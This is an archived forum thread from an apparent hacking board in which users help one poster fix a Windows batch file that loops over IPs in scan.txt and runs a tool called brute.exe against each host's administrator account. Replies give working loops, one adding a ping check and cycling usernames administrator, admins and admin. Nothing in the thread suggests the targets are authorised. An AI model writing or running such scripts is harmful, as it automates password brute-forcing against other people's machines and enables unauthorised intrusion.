hacking contest

hacking exploits security forum
hacking
compliance articles
upgrade backup exec
information security consultant

Shadowslave
hello i´ve got a problem with a batch file. it should read out the ips from a text file and then do 3 commands in a loop.
Normaly the IP should be inserted in %%a but this dont work. i always get

c:\haxx\>brute.exe %a administrator

The batch file looks like this:

If "scan.txt" =="" goto EXIT
for /f "eol=; tokens=1*" %%a in (scan.txt) do call :sub
:sub
brute.exe %%a administrator
sleep 5
pskill brute.exe

i hope someone could help me


SkitZZ
try and use two batch files something like this

temp.bat
CODE
@echo off
If "scan.txt" =="" goto exit
for /f "eol=; tokens=1*" %%i in (scan.txt) do temp1.bat %%i
:exit


temp1.bat
CODE
@echo off
ping.exe %1% -n 3
ping.exe %1% -n 2
ping.exe %1% -n 1


i tested it only with ping and it worked ok just replace the three ping commands with your commands good luck hope it works tongue.gif


SkitZZ
BlaStA
CODE
for /f "eol=; tokens=1*" %%a in (scan.txt) do call :sub %%a
goto :EOF
:sub
brute.exe %1% administrator
sleep 5
pskill brute.exe
goto :EOF
DCLXVI
CODE


@echo off
If "scan.txt" =="" GoTo EXIT
for /f "eol=; tokens=1*" %%i in (scan.txt) do call :ip %%i
goto :EOF

:ip
echo Checking if %1 is alive
ping -n 1 %1 | find "out" > nul
if errorlevel 1 goto contin
goto deadip

:contin
brute.exe %1 administrator
brute.exe %1 admins
brute.exe %1 admin
goto :EOF

:deadip
echo.
echo Cannot ping %1 bypassing this one.......
goto :EOF

:exit
tuby
Hello'

u can do the boucle directly like that :


for /f "eol=; tokens=1*" %%i in (scan.txt) do (
brute.exe %%i administrator
sleep 5
pskill brute.exe
)


But, it's most efficient to test the ip before the exploit , like the bat of DCLXVI smile.gif

This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please click here.

 
Invision Power Board © 2001-2005 Invision Power Services, Inc.